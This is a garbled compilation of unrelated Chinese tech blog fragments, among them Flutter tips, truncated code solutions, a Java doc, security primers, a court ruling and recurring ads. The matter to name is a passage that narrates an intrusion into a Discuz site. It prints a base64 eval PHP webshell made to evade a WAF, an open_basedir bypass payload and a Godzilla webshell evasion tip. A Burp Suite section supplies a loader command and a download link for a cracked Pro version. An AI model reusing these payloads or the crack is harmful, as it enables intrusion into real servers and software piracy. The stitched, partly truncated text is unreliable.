原因: 当GIF图没有设置播放间隔时间时,电脑上会默认间隔0.1s,而flutter默认0s。
解决方法一: 将图片改为webp格式。
解决方法二: 为图片设置帧频率,添加播放间隔。例如可以使用GIF依赖组件设置每秒运行的帧数来控制播放速度。
添加依赖组件方法: 打开根目录的pubspec.yaml文件,在dependencies属性里添加依赖名和版本号
打开终端,运行下列命令,获取依赖
flutter packages get 在使用组件的页面导入文件,之后就能正常使用了。
import 'package:gif/gif.dart';
昨天三数之和未做出来,今天补发
四数相加 II
func fourSumCount(nums1 []int, nums2 []int, nums3 []int, nums4 []int) int {
map1 := make(map[int]int)
count := 0
// 遍历大nums1和大nums1数组,统计两个数组元素之和,和出现的次数,放到map中
for _, v := range nums1 {
for _, v1 := range nums2 {
map1[v+v1]++
}
}
// 在遍历大nums3和大nums4数组,找到如果 0-(v+v1) 在map中出现过的话,就把map中key对应的value也就是出现次数统计出来。
for _, v := range nums3 {
for _, v1 := range nums4 {
target := 0 - (v + v1)
_, ok := map1[target]
if ok {
String类表示字符串。Java程序中的所有字符串文字,如“abc”,都是作为此类的实例实现的。
字符串是常量;它们的值在创建后不能更改。字符串缓冲区支持可变字符串。因为String对象是不可变的,所以它们可以共享。例如:
字符串str=“abc”;
相当于:
char-data[]={'a','b','c'};
String str=新字符串(数据);
以下是一些关于如何使用字符串的更多示例:
System.out.println(“abc”);
字符串cde=“cde”;
System.out.println(“abc”+cde);
字符串c=“abc”.substring(2,3);
字符串d=cde.substring(1,2);
String类包括用于检查序列中的各个字符、比较字符串、搜索字符串、提取子字符串以及创建字符串副本的方法,其中所有字符都转换为大写或小写。大小写映射基于Character类指定的Unicode标准版本。
Java语言为字符串串联运算符(+)以及将其他对象转换为字符串提供了特殊支持。有关字符串连接和转换的更多信息,请参阅Java语言规范。
除非另有说明,否则将null参数传递给此类中的构造函数或方法将导致引发NullPointerException。
String表示UTF-16格式的字符串,其中补充字符由代理项对表示(有关更多信息,请参阅Character类中的Unicode字符表示一节)。索引值指的是字符代码单位,因此一个补充字符在字符串中使用两个位置。
String类除了提供处理Unicode代码单元(即字符值)的方法外,还提供了处理Unicode代码点(即字符)的方法。
除非另有说明,否则用于比较字符串的方法不考虑区域设置。java.text.Collator类提供了用于更精细、区域设置敏感的字符串比较的方法。
实现 说明:
字符串串联运算符的实现由Java编译器自行决定,只要编译器最终符合Java语言规范。例如,javac编译器可以使用StringBuffer、StringBuilder或java.lang.invoke.StringConcatFactory实现运算符,具体取决于JDK版本。字符串转换的实现通常是通过toString方法实现的,该方法由Object定义,并由Java中的所有类继承。
自:
1
请参阅:
java.lang.Object.toString()、java.lang.StringBuffer、java.lang.StringBuilder、java.nio.charset.charset
作者:
Lee Boynton、Arthur van Hoff、Martin Buchholz、Ulf Zibis
jls
15.18.1字符串连接运算符+
A #include<bits/stdc++.h> using namespace std; int main() { int n; cin>>n; cout<<'L'; for(int i=0;i<n;i++){ cout<<"o"; } cout<<"ng"<<endl; return 0; } B #include<bits/stdc++.h> using namespace std; int main() { int n; cin>>n; int num=0; while(n%2==0){ num++; n/=2; } cout<<num<<endl; return 0; } C #include<bits/stdc++.h> #define ll long long using namespace std; int main() { ll n; cin>>n; ll n0=n-1; string s=""; if(n==1)cout<<"0"<<endl; else { while(n0>0){ if(n0%5==0){ s="0"+s; } else if(n0%5==1){ s="
**
最先,对于大家提出的难题,网站愈来愈难渗透,表明如今的安全防护技术性及其网站结构技术性的成熟情况是越来越健全了。次之,某一实际技术性方面的安全要求减少了,不可以整体表明渗透测试行业低迷,一方面,安全不仅包含技术性安全(在其中就包含web系统漏洞),也有管理方法安全,物理学安全,工业生产自动控制系统安全这些,在其中,70%的安全难题是因为管理方法不当而导致的,而管理方法也是一个动态性的全过程,因此,总体看来,系统漏洞难以避免,对安全的要求也不会终断。再次,针对渗透测试的具体步骤,能够考虑到大量的向社会工程学,管理方法上的系统漏洞等层面获得突破点,伴随着技术性的发展和健全,渗透测试的方式也应当展现与之相符合的交叉性。
整体而言,安全难题将是一个机构遭遇的永久难题,而且展现一定的交叉性,渗透测试也不仅限制于传统式的扫描,入侵测试,漏洞测试等方式,还应当灵活运用组织协调,个人观念层面的缺点。为啥在网上免费下载的专用工具没办法扫描出安全难题了?由于你能免费下载他人也可以免费下载。公司的安全单位里只要是有一个会用这种专用工具的人,就能自身把这种难题找出来,根本用不着你出手。十年前,许多 公司的安全做的还很差,乃至没有网络安全单位,因此下载个专用工具扫一扫还能发现许多难题。如今一方面是公司本身安全工作能力提升了,另一方面网站开发人员的安全工作能力也提升了。因此假如你总是用十年前的专用工具扫一扫,在今天当然会感觉很费劲。
殊不知,二十年前,随意找个专用工具扫一扫还能够发觉许多 远程访问弱口令、远程控制外溢系统漏洞。那么二十年前这些搞渗透测试的,在发觉这种扫出立即就能拿rootshell的系统漏洞慢慢消退后是否也很失落?并不是的。她们刚开始研究注入,研究XSS,研究CSRF,研究反序列化。因此她们才写成了你如今从在网上免费下载的这些专用工具。二进制安全也一样。二十年前的系统漏洞发掘和运用都极其简易。二十年来,系统漏洞愈来愈难发觉,愈来愈难运用。但二进制安全这一技术性方位消退了没有?不仅没有,并且发展趋势非常好。对出生于普通人家的人而言,工作中有难度系数有门坎是好事儿。假如一个工作中不会太难,那一般都不赚钱。假如又不会太难又还能挣钱,那别人为何给你来做的呢?找自己的堂侄堂弟小舅子来做不好吗?
正因为由于大家都刚开始高度重视安全,因此系统软件也会愈来愈安全。资产不应该曝露在互联网上的,便会做互联网密钥管理,只对于权限浏览。即使?系统漏洞,访问都访问不了,怎么搞?传送全过程数据加密的也愈来愈多,okhttp每一个请求都是有一个sign签字,这涉及到来到密码学。代码混淆+加壳,运用源码十分难复原,那都到不了登陆密码反向漏洞这一步。如今waf,入侵测试商品那么多,正中间加2个安全产品,就更难弄了。你可以搞站搞app,先已过waf这一关再聊。几十数百人开发设计的安全商品,搞waf就相当于你是和几十人抵抗的勇士在决斗,祝愿大家在渗透测试道路上奋勇向前,像要对网站或APP做渗透测试和漏洞测试的朋友建议大家选择专业的网站安全公司来测试,像SINESAFE,鹰盾安全,绿盟,这几家都是比较不错的安全公司。
网络安全成长路线图 这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成hei客大神,这个方向越往后,需要学习和掌握的东西就会越来越多,以下是学习网络安全需要走的方向:
# 网络安全学习方法 上面介绍了技术分类和学习路线,这里来谈一下学习方法:
## 视频学习
产品的人机交互设计是指通过用户界面和用户体验设计来优化产品与用户之间的交互过程,从而提高产品的易用性、可用性和用户满意度。人机交互设计需要考虑用户的需求、行为模式、心理感受以及技术实现,下面我将介绍如何进行产品的人机交互设计。
首先,了解用户需求和行为模式。在进行人机交互设计之前,需要深入了解目标用户群体的需求、使用场景、行为习惯等信息。通过用户调研、访谈、用户画像等方式,收集用户的反馈和建议,从而确定产品设计的方向和重点。
其次,设计用户友好的界面。在设计产品的界面时,需要注重用户友好性,包括页面布局、字体大小、颜色搭配、图标设计等方面。采用简洁清晰的设计风格,保证用户能够轻松找到他们需要的功能和信息,降低用户的认知负荷。
另外,优化用户体验。良好的用户体验是人机交互设计的核心目标之一。通过交互设计和用户体验测试,优化产品的操作流程、交互方式、反馈机制等,确保用户在使用产品时能够获得愉快的体验。例如,引入动画效果、适当的提示信息、快捷操作等,提升用户操作的流畅性和愉悦感。
还要关注可访问性和无障碍设计。在人机交互设计中,需要考虑到不同用户的特殊需求,比如视力障碍、听力障碍、运动障碍等。因此,需要采取相应的设计方法,确保产品对于所有用户都是可访问的,并且能够提供一致的良好体验。
最后,持续迭代和改进。人机交互设计是一个持续改进的过程,需要不断地收集用户反馈,分析用户行为数据,发现问题并进行改进。通过用户测试、A/B测试等方式,验证设计效果,不断优化产品的人机交互体验,使产品始终保持与用户需求和市场趋势的一致性。
总之,产品的人机交互设计需要结合用户需求、界面设计、用户体验、无障碍设计等多个方面,通过持续的改进和优化,打造出更符合用户期望的产品体验。
这次渗透的主站是 一个 Discuz!3.4 的搭建 违法招 piao 网站, 配置有宝塔 WAF
用 Discuz!ML 3.X 的漏洞进行攻击,但是没有成功
发现主站外链会有一个发卡网,引导人们来这充值,是 某某发卡网,而且域名指向也是主站的 ip,两个网站在同一个 ,此处忘记截图了
网上有通杀 payload,写 shell 的过程在这里省略了
【如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100 份 src 文档
5、常见安全面试题
6、ctf 大赛经典题目解析
7、全套工具包 8、应急响应笔记
由于网站存在宝塔 WAF ,写入 shell 必须变形一下,将命令进行 base64 编码在传进去
<?php @eval(base64_decode($_POST['yanshu']));?> 在 phpinfo()里可以看到,宝塔默认会设置 open_basedir 以及 disable_functions,导致蚁剑的 shell 直接连接之后不大好用,命令执行不了
绕过 open_basedir 查看文件 利用 ini_set() 来 bypass open_basedir 来获取路径名和目录内容,base64 编码之后执行,发现宝塔目录下还有其他站点目录
`eval("mkdir('1');chdir('1');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/www/wwwroot'));");` 哥斯拉管理 webshell 为了方便查看文件 ,使用哥斯拉马,加密器选择 PHP_EVAL_XOR_BASE64,用 copy 命令传到服务器中,这样流量就可以不会被宝塔 waf 拦截了
在计算机操作系统领域,macOS 和 Windows 分别是苹果公司和微软公司的主打产品。尽管两者都拥有大量的用户群体,但在稳定性和用户体验方面,macOS 常常被认为优于 Windows。那么,为什么 macOS 比 Windows 更稳定呢?
我们需要明白,稳定性的表现是多方面的,包括系统崩溃、死机、卡顿等现象的频率,以及软件和硬件的兼容性等。相对而言,macOS 的表现一直比 Windows 更优异。
造成这种现象的原因主要有以下几个方面:
良好的设计和优化 macOS 是苹果公司自家研发的操作系统,从一开始就注重系统的稳定性和流畅性。在系统设计时,苹果公司就考虑到用户体验和稳定性问题,尽可能地减少系统漏洞和问题。同时,苹果公司也注重系统的优化工作,通过不断改进和调整系统性能,提高系统的稳定性和响应速度。
相比之下,Windows 是由微软公司开发的操作系统,其设计初衷是满足各种不同硬件设备和软件应用的需求。这导致了 Windows 系统在设计上需要更多的妥协和考虑,从而在一定程度上影响了系统的稳定性和流畅性。
严格的应用程序审核机制 macOS 的应用程序审核机制非常严格,所有在 Mac App Store 上架的应用程序都需要经过苹果公司的审核。这个审核过程可以有效地排除一些可能存在恶意行为或者不稳定因素的应用程序,保证用户下载的应用程序的质量和安全性。
而 Windows 系统的应用程序审核机制相对较为宽松,很多应用程序在安装和运行过程中可能会出现一些问题或者不兼容的情况,从而影响系统的稳定性。
高效的内存管理和后台清理机制 macOS 的内存管理和后台清理机制非常高效,可以自动关闭未使用的应用程序和释放内存资源,保证系统的流畅运行。同时,macOS 也具有强大的垃圾清理功能,可以自动清理不需要的文件和缓存,释放硬盘空间。
而 Windows 系统在这方面相对较弱,一些应用程序在关闭后仍然会保留在后台运行,占用系统资源,导致系统卡顿或者崩溃。同时,Windows 系统也需要用户自行清理系统和应用程序产生的垃圾文件和缓存。
定期的系统更新和安全维护 苹果公司非常注重系统的稳定性和安全性,会定期发布系统更新和安全补丁,修复系统漏洞和问题。同时,苹果公司也提供了一系列的维护工具和清理工具,帮助用户更好地维护系统健康和稳定性。
而 Windows 系统虽然也有系统更新和安全补丁机制,但相对来说更新频率和修复范围有限,而且很多时候需要用户自行手动安装补丁和维护工具。这也导致了 Windows 系统相对较容易出现安全问题和不稳定因素。
综上所述,macOS 比 Windows 更稳定的原因是多方面的,包括良好的设计和优化、严格的应用程序审核机制、高效的内存管理和后台清理机制以及定期的系统更新和安全维护等。虽然 Windows 系统在功能性和硬件支持方面具有更多的优势,但在稳定性和流畅性方面,macOS 依然表现优异,值得用户选择和使用。
1 基于路由器的攻击手段 1.1 源IP地址欺骗式攻击 入侵者从外部传输一个伪装成来自内部主机的数据包(数据包的IP是内网的合法IP)
对策:丢弃所有来自路由器外端口,却使用内部源地址的数据包。
1.2 源路由攻击 入侵者让数据包循着一个不可预料的路径到达目的地,以逃避安全系统的审核.
对策:丢弃所有包含源路由选项的数据包。
1.2.1 源路由 数据包中列出自己所经过的路由。某些路由器可以使用数据包的反向路由来传送应答数据,一个攻击者可以假冒一个主机,并通过一个特殊的路径来获得某些被保护数据。
1.3 极小数据段攻击 利用IP分段的特性,构造一个极小的分段,并强行将TCP信息头分割成多个数据包段。通常设备只检查第一个数据包段。
对策:丢弃协议类型为TCP,且IP Fragment Offset标志为1的数据包(这意味着还有分片)。
2 RARP协议 RARP:Reverse Address Resolution Protocal,逆地址解析协议。
允许局域网的主机从网关服务器的ARP表或缓存上请求IP地址。MAC——>IP ,RARP协议广泛应用于无盘工作站引导时获取IP地址。
比如局域网中有一台主机只知道自己的物理地址而不知道自己的IP地址,那么可以通RARP协议发出征求自身IP地址的广播请求,然后由RARP服务器负责回答。
RARP协议工作流程:
(1)主机发送一个本地的RARP广播,在此广播包中,声明自己的MAC地址并且请求任何收到此请求的RARP服务器分配一个IP地址;
(2)本地网段上的RARP服务器收到此请求后,检查其RARP列表,查找该MAC地址对应的IP地址;
(3)如果存在,RARP服务器就给源主机发送一个响应数据包并将此IP地址提供给对方主机使用;
(4)如果不存在,RARP服务器对此不做任何的响应;
(5)源主机收到从RARP服务器的响应信息,就利用得到的IP地址进行通讯;如果一直没有收到RARP服务器的响应信息,表示初始化失败。
3 自主访问控制 3.1 自主访问控制策略DAC 主体可以自主地将其拥有的对客体的访问权限全部或部分地分别授予其他主体,灵活性高。
访问权的授予是可以传递的,不能真正提供对信息流的保护。
3.2 强制访问控制策略MAC 系统强制将主体和客体分为不同安全等级,主体对客体的访问要严格遵守以下原则:
向下读取:主体的安全级别必须高于所读客体的安全级别(大佬可以看小弟写的东西)向上访问:主体的安全级别必须低于所写客体的安全级别(小弟可以为大佬写东西) 3.3 基于角色的访问控制策略RBAC 系统的用户担任一定的角色(与特定岗位相关的一组权限集),当用户改变时只需要进行角色的撤销和重新分配即可。
4 电子邮件的安全协议,Pretty Good Privacy(PGP)P315-w 4.1 加密 用对称密码加密消息,用公钥密码加密会话密钥。利用伪随机数生成会话密钥(对称),加密压缩后的消息。利用接收者的公钥加密会话密钥。
4.2 解密 把二进制数据分为两个部分,经过加密的会话密钥K和经过压缩,加密的会话消息M。
会话密钥被接收者的公钥加密,需要其私钥进行解密。
4.2.1 私钥的解密密钥 口令+盐(伪随机数)拼接在一起,利用单向散列函数得到私钥,用其对会话密钥进行解密。
4.3 生成数字签名 口令+盐(伪随机数)拼接在一起,利用单向散列函数得到私钥的解密密钥,解密后得到发送者的私钥,然后对消息的散列值进行签名。
4.4 验证数字签名 利用发送者的公钥验证签名,得到发送者发送的散列值。根据单向散列函数计算散列值,对比验证。 4.5 生成数字签名并加密 发送者口令+盐(伪随机数)拼接在一起,利用单向散列函数得到私钥的解密密钥,解密后得到发送者的私钥,然后对消息的散列值进行签名。经过签名的散列值和消息拼接在一起。利用伪随机数生成会话密钥(对称),加密压缩后的签名+消息。利用接收者的公钥加密会话密钥。 4.
前言:释疑解惑 《BP使用教程一》发布后,后台收到了许多小伙伴的私信问BP是怎么汉化的,在这里统一为大家解答一下。
BP的汉化依赖于汉化jar包,在启动时引入汉化包即可,废话不多说,直接上命令:
java -Dfile.encoding=utf-8 -javaagent:BurpSuiteChs.jar -noverify -javaagent:BurpSuiteLoader.jar -jar burpsuite_pro_v2020.12.1.jar 效果如下:
使用这种方法每次启动的时候都需要额外开启一个DOS窗口,万一不小心关了直接GG,特别是当多个类似应用同时开启时,黑框框简直要命,鉴于此为大家提供一种方案可以隐藏DOS窗口
上述启动BP命令可以替代为:
set ws=createobject("wscript.shell") ws.run("cmd /c java -Dfile.encoding=utf-8 -javaagent:BurpSuiteChs.jar -noverify -javaagent:BurpSuiteLoader.jar -jar burpsuite_pro_v2020.12.1.jar"),vbhide 将内容保存为xxx.vbs双击就可以了,但是要注意路径不能有空格否则会报错
注意:先正常安装后再用脚本一键启动
完整的BP12.1版本已为各位备好
链接:https://pan.baidu.com/s/1LPbDDPrOi9GbpEU0MQDbbQ 提取码:9cro 解压密码从下图寻找
0x00 正文 上回为大家演示了了BP的proxy模块,并将Proxy的截断功能类比为数据来源器。数据有了之后就是对其进行操作了,本节继续演示BP的Repeater模块
0x01 简介 Repeater(中继器)模块支持手动修改数据包并重新发送 HTTP 请求,同时还提供了历史记录方便分析数据包。可以通过手动调整HTTP请求来测试目标系统。
0x02 使用演示 启动BP并切换至Repeater
页面比较简洁明了,接下来打开个测试站点演示一下。
本次测试目标:
10.1.1.15:7001 ,打开浏览器访问一下
开启截断模式,输入一组账号点击登录
此时BP成功拦截到了登录的HTTP数据包,将数据包发送到Repeater
回到Repeater查看
点击发送即可发送HTTP数据包
在请求和响应栏中有几个选项,分别是
Pretty:格式化后的数据包
原始:原始的HTTP数据包
Render:将HTTP响应渲染成页面
Action:对数据包进行操作
\n:是否显示换行符
修改数据包中的j_password参数为任意值重新发送
当发送了N次后突然想看之前的数据的话,可以通过数据包历史寻找
在Repeater的Action中有几项特有功能,接下来逐个进行演示,请大家注意分清是请求包还是响应包
复制数据包网址,省去了自行拼接URL的痛苦
在浏览器中显示:将响应包发送至浏览器渲染页面
注意:此处为了演示效果保留了原始的BP URL
0x03 END
本节对BP的Repeater模块进行了简单的描述,看完后记得多加练习!
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
其实如何选择网络安全学习方向,如何进行实战与理论的结合并不难,找准正确方式很重要。
接下来我将从成长路线开始一步步带大家揭开网安的神秘面纱。
1.成长路线图
大家好,我是小咖秀!
2024年:新5000道在线面试题,更新了
我宣布永久免费,在线让大家观看阅读
这个题库包含超5000+道题目,涵盖了36个技术分类的面试题。其中,包括了众多热门技术,比如Spring全家桶、Alibaba全家桶、消息中间件、容器化,搜索引擎、分布式中间件、大数据、开发工具等等。每一类别都经过精心挑选和整理,以确保能够覆盖面试中可能出现的各种问题。
## 36个分类:5000道,在线面试题
新2024年:永久免费,在线阅读地址:
https://ddkk.com/category/newtiku/index.html
在这里,我想强调一点:
在面试环节,这些面试题依然占据了重要的位置。面试官通常会通过这些标准问题来快速评估一个求职者的基础知识水平和技术能力。
2024年,最新的:面试题:示例截图
永久免费,在线阅读地址:
https://ddkk.com/category/newtiku/index.html
网站几百套免费教程
官网地址: https://www.ddkk.com
一、安全测试概述 1.1.定义
安全测试是在软件产品开发基本完成时,验证产品是否符合安全需求定义和产品质量标准的过程
1.2.概念
安全测试是检查系统对非法侵入渗透的防范能力
1.3.准则
理论上来讲,只要有足够的时间和资源,没有无法进入的系统。因此,系统安全设计的准则是使非法侵入的代价超过被保护信息的价值
1.4.目标
通过对系统进行全面的脆弱性安全测试,发现系统未知的安全隐患并提出相关建议,确保系统的安全性。安全性一般分为应用程序级别和系统级别,区别如下:
应用程序级别:包括对应数据或业务功能的访问,核实应用程序的用户权限只能操作被授权访问的那些功能或数。
系统级别:包括对操作系统的目录或远程访问,主要核实具备系统和应用程序访问权限的操作者才能访问系统和应用程序
二、安全漏洞 细分流程图,安全漏洞根据客户端与服务器端的分布
2.1.钓鱼
黑客构造一个跟知名网站很相似的网站,吸引用户登录,输入敏感信息,或通过邮件等验证方式,不知不觉中获得用户的登录密码之类的
2.2.暗链
其实“暗链”就是看不见的网站链接,“暗链”在网站中的链接做的非常隐蔽,短时间内不易被搜索引擎察觉。它和友情链接有相似之处,可以有效地提高PR值。但要注意一点PR值是对单独页面,而不是整个网站
2.3.xss
跨站脚本攻击。恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的
2.4.点击劫持
是一种视觉上的欺骗手段。大概有两种方式,一是攻击者使用一个透明的iframe,覆盖在一个网页上,然后诱使用户在该页面上进行操作,此时用户将在不知情的情况下点击透明的iframe页面;二是攻击者使用一张图片覆盖在网页,遮挡网页原有位置的含义
2.5.CSRF
简单说, 攻击者盗用了你的身份,以你的名义发送恶意请求
限制的方式可以包括:
1)referer的限制
2)加入有效性验证Token
3、对跳转的地址没有做严格的校验
2.6.sql注入
所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击
2.7.文件上传/文件包含
上传的附件没有进行过滤,当上传的文件为危险文件时,依然可以上传成功。 这样很容易服务器的后台被控制
2.8.暴力破解
使用一个好的字典,利用工具,暴力破解网站的登录名和密码
网络安全学习资源分享: 零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
三、安全测试流程 提交申请
准备测试环境
收集基础信息
执行渗透测试
测试结果分析
编写测试报告
四、 测试特性 安全特性:操作系统安全、数据库安全、WEB安全、软件的发布和安装安全、协议与接口攻防、敏感数据保护、手机端安全、静态代码分析
4.1.操作系统安全
操作系统安全我们可以把它分为以下几块:
系统漏洞(操作系统补丁)、系统配置(安全加固)
工具Nessus,开源的工具可以使用OpenVAS。
4.2.数据库
数据库安全我们可以把它分为以下几块:
数据库漏洞(补丁)、数据库配置特产(安全加固)
工具可以使用Ngs
4.3.web安全
web安全我们可以把它分为以下几块:
身份验证、验证码、会话管理、权限管理、敏感信息传输、安全审计、信息泄露、输入校验、输出编码、上传下载、异常处理、注释代码等
容器的安全(tomcat)
应用软件安全(nginx、负载均衡软件、jquery等)
扫描工:appScan、awvs
1.身份验证
复杂度要求,必须由大写、小写、数字等组成
时效性要求,建议用户3个月更改一次口令
密码长度要求,最小8位,最大?位
管理员重置密码后密码必须在下次登录更改
强度要求,不能跟原密码一致,不能与用户名相似
关键词 (1)提供侵入、非法控制计算机信息系统程序、工具罪
(2)爬虫抢票
基本案情 被告人陈某,男,1985年4月15日出生于河南省信阳市,汉族,大专文化,务工人员。
2017年至2019年间,被告人陈辉为牟取非法利益,编写“爬虫”软件用于在浙江淘宝网络有限公司旗下的“大麦网”平台上抢票,并以人民币1888元到6888元不等的价格向他人出售该软件,非法获利人民币12万余元。2019年7月11日,被告人陈辉被公安机关抓获。
经鉴定,上述“爬虫”软件具有以非常规的方式构造和发送网络请求,模拟用户在大麦网平台手动下单和购买商品的功能;具有以非常规手段模拟用户识别和输入图形验证码的功能,该功能可绕过大麦网平台的人机识别验证机制
,以非常规方式访问大麦网平台的资源。
诉讼过程和结果 本院认为, 被告人陈某提供专门用于侵入、非法控制计算机信息系统程序、工具 , 情节特别严重
,依法应予惩处。被告人陈辉认罪认罚且在庭前签署《认罪认罚具结协议》,依法可以从宽处理。辩护人所提意见于法有据部分,予以采纳。公诉机关量刑建议适当,予以采纳。综合本案的性质、情节、危害后果及被告人陈辉的认罪态度,依照《中华人民共和国刑法》第二百八十五条第三款、第五十三条、第六十四条、第六十七条第三款、第七十二条第一款、第三款、第七十三条第二款、第三款及《最高人民法院、最高人民检察院关于办_理危害计算机信息系统安全刑事案件应用法律若干问题的解释》第二条、第三条、第十一条,《最高人民法院关于适用财产刑若干问题的规定》第一条、第二条第一款、第五条的规定,判决如下:
一、被告人陈辉犯 提供侵入、非法控制计算机信息系统程序、工具罪 ,判处 有期徒刑三年 ,缓刑四年,并处罚金人民币二万元。
二、继续 追缴 被告人陈辉的 违法所得人民币12万元 ,上缴国库。
三、扣押在案的U盘1个、手机1台、电脑主机1台、移动硬盘1个等作案工具予以没收、上缴国库(由广州市公安局南沙区分局代为执行)。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yEeP3Eec-1693105841033)(https://image.3001.net/images/20210725/1627202817_60fd25014c5089d2ee928.jpeg!small)]
案情分析 本案涉及利用 爬虫抢票 ,属于最近几年很常见的犯罪情形,同时还有类似 爬虫抓取数据 涉及侵犯公民信息的犯罪。
在本案中最重要的定罪依据如下, 能够绕过平台的人机识别验证机制
,已经满足《最高人民法院、最高人民检察院关于办_理危害计算机信息系统安全刑事案件应用法律若干问题的解释》 第二条第(二)点
的构成要件,同时非法获利12万元,属于犯罪 情节特别严重 。
具有以非常规手段模拟用户识别和输入图形验证码的功能,该功能可 绕过大麦网平台的人机识别验证机制 ,以非常规方式访问大麦网平台的资源。
本案相关法律规定 《中华人民共和国刑法》
第二百八十五条
(第一款)【非法侵入计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。
(第二款)【非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。
(第三款)【提供侵入、非法控制计算机信息系统程序、工具罪】提供专门用于侵入、非法控制计算机信息系统的程序、工具,或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严重的,依照前款的规定处罚。
(第四款)单位犯前三款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照各该款的规定处罚。
《最高人民法院、最高人民检察院关于办_理危害计算机信息系统安全刑事案件应用法律若干问题的解释》
第二条
具有下列情形之一的程序、工具,应当认定为刑法第二百八十五条第三款规定的“专门用于侵入、非法控制计算机信息系统的程序、工具”:
(一)具有避开或者突破计算机信息系统安全保护措施,未经授权或者超越授权获取计算机信息系统数据的功能的;
(二)具有避开或者突破计算机信息系统安全保护措施,未经授权或者超越授权对计算机信息系统实施控制的功能的;
(三)其他专门设计用于侵入、非法控制计算机信息系统、非法获取计算机信息系统数据的程序、工具。
第三条
提供侵入、非法控制计算机信息系统的程序、工具,具有下列情形之一的,应当认定为刑法第二百八十五条第三款规定的“情节严重”:
(一)提供能够用于非法获取支付结算、证券交易、期货交易等网络金融服务身份认证信息的专门性程序、工具五人次以上的;
(二)提供第(一)项以外的专门用于侵入、非法控制计算机信息系统的程序、工具二十人次以上的;
三)明知他人实施非法获取支付结算、证券交易、期货交易等网络金融服务身份认证信息的违法犯罪行为而为其提供程序、工具五人次以上的;
(四)明知他人实施第(三)项以外的侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具二十人次以上的;
(五)违法所得五千元以上或者造成经济损失一万元以上的;
(六)其他情节严重的情形。
实施前款规定行为,具有下列情形之一的,应当认定为提供侵入、非法控制计算机信息系统的程序、工具“ 情节特别严重 ”:
(一)数量或者数额达到前款第(一)项至第(五)项规定标准 五倍以上 的;
一、官网下载二、安装三、简单使用 PhpStudy:让天下没有难配的服务器环境。
学习网络安全经常需要搭建各种各样的Web环境,而PphStudy(简称“小皮”)可以一键搭建环境,节省下载、配置环境的时间。
一、官网下载 1)访问PhpStudy官网:https://www.xp.cn/
2)【首页】选择Windows版。
3)跳转到新页面,点立即下载。
3)弹出确认窗口,点击64位下载(大部分都是64位,如果你的是32位,就选32位下载)
4)下载完成,是一个压缩包
二、安装 1)解压后,点进去,双击exe安装程序,开始安装(注意安装路径不要包含中文或空格)。
2)弹出安装界面,点击立即安装(点右下角可以选择安装路径)。
提示:这一步如果报错(无报错请往下滑),安装向导无法创建文件夹“D:\phpstudy_pro” ,可能是你的电脑没有D盘(PhpStudy默认安装路径是D盘),重新运行安装程序,手动选择安装路径即可。
3)等待安装完成即可。
三、简单使用 1)【首页】显示下小皮自带的工具,红色表示未启动,这里我们启动一个Apache。
2)打开浏览器,访问 localhost,访问成功。
3)【网站】这一栏,可以看到Web目录。
4)把网站文件拖到WWW目录下,输入路径,就能访问了。
学习网络安全技术的方法无非三种:
第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。
第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
第三种就是去找培训。
接下来,我会教你零基础入门快速入门上手网络安全。
网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。
第一阶段:基础准备 4周~6周 这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇
第二阶段:web渗透 学习基础 时间:1周 ~ 2周:
① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。
配置渗透环境 时间:3周 ~ 4周:
① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。
渗透实战操作 时间:约6周: ① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
